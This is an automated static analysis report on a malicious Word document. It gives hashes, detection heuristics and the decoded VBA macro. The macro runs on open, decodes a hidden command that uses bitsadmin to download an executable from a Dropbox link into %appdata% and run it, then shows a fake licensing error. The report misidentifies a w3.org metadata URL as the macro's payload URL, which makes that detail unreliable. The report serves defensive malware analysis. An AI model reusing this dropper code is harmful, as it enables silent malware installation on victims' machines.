Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5037d0353515ba8…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-01-23
MD5: a06a124135553e34521dd6d0e991a0a7 SHA-1: ad273ad024123d1c29d8197ec1f9b2e6d81efe58 SHA-256: f5037d0353515ba8c2fff518cb0147d75e305e5c9f113c70b9fc458d11e87a83
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen function that calls Shell(), indicating it's designed to execute arbitrary code. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', a common lure for macro-based malware. The reconstructed URL from the obfuscated VBA code is 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'. The ClamAV detection 'Doc.Dropper.Agent-6416561-0' further supports its dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6416561-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6416561-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2410 bytes
SHA-256: d08c912df0dcca5a810883d7ad6f2f37e0c3b1124a74903ea38d2536f9ea933b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim KEMFERHHOUKGYJJTAVTBYNY As String
    Dim BJIKBOKKHNWSOEKHFCAKC As String
    KEMFERHHOUKGYJJTAVTBYNY = KEMFERHHOUKGYJJTAVTBYNY & HFNZRVN("f") & HFNZRVN("pg1h{h 2f %zdlwiru 2w 8 \NHUT ") & HFNZRVN(") elwvdgplq 2wudqvihu") & HFNZRVN(" XNH") & HFNZRVN("I 2grz") & HFNZRVN("qordg 2sulrulw| qrupdo kwws") & HFNZRVN("v=22zzz1gurser{1") & HFNZRVN("frp2v28};xq;5:e;") & HFNZRVN("<rp7j24thv|r}dqdqulyr{lw|ri")
    KEMFERHHOUKGYJJTAVTBYNY = KEMFERHHOUKGYJJTAVTBYNY & HFNZRVN("1h{hBg") & HFNZRVN("o@4 (dssgdwd(_lnu") & HFNZRVN("hnk1h{h )vwduw (d") & HFNZRVN("ssgdwd(_lnuh") & HFNZRVN("nk1h{h%")

    BJIKBOKKHNWSOEKHFCAKC = BJIKBOKKHNWSOEKHFCAKC & HFNZRVN("Huuru 4<;:7= \rx pxvw kdy") & HFNZRVN("h R") & HFNZRVN("iilfh Surihvvlrqdo H") & HFNZRVN("glwlrq wr uhdg wklv frq") & HFNZRVN("whqw/ sohd") & HFNZRVN("vh xsjudgh |rxu olfhqfh1 ") & HFNZRVN("Ylvlw zzz1plfurvri") & HFNZRVN("w1frp iru kho")
    BJIKBOKKHNWSOEKHFCAKC = BJIKBOKKHNWSOEKHFCAKC & HFNZRVN("s")
    
    Shell KEMFERHHOUKGYJJTAVTBYNY, vbHide
    MsgBox BJIKBOKKHNWSOEKHFCAKC
End Sub
Private Function TDEBKWKCXRIKPVVYHEEELHD(ByVal OMMHYODHJSSZXBJE As String, ByVal KXGTOUNIVUDAK As Long) As String
    Dim XNGENRMBAHHUORTIOBJY As Long
    XNGENRMBAHHUORTIOBJY = Len(OMMHYODHJSSZXBJE)
    Dim MUJUIAVEKVZLWDBJYKXHJ As String
    Dim OCBZVDPNYFW As Long
    Dim PSIHKFYSIMNLGKOY As Long
    Dim VEAKOFCAVD() As Long
    ReDim VEAKOFCAVD(1 To XNGENRMBAHHUORTIOBJY)
    For PSIHKFYSIMNLGKOY = 1 To XNGENRMBAHHUORTIOBJY
        OCBZVDPNYFW = Asc(Mid(OMMHYODHJSSZXBJE, PSIHKFYSIMNLGKOY, 1))
        If OCBZVDPNYFW = 32 Then
            VEAKOFCAVD(PSIHKFYSIMNLGKOY) = OCBZVDPNYFW
        Else:
            OCBZVDPNYFW = OCBZVDPNYFW - KXGTOUNIVUDAK
            VEAKOFCAVD(PSIHKFYSIMNLGKOY) = OCBZVDPNYFW
        End If
        MUJUIAVEKVZLWDBJYKXHJ = MUJUIAVEKVZLWDBJYKXHJ & Chr(VEAKOFCAVD(PSIHKFYSIMNLGKOY))
    Next
    TDEBKWKCXRIKPVVYHEEELHD = MUJUIAVEKVZLWDBJYKXHJ
End Function
Private Function HFNZRVN(SNPWI As String)
  HFNZRVN = TDEBKWKCXRIKPVVYHEEELHD(SNPWI, 3)
End Function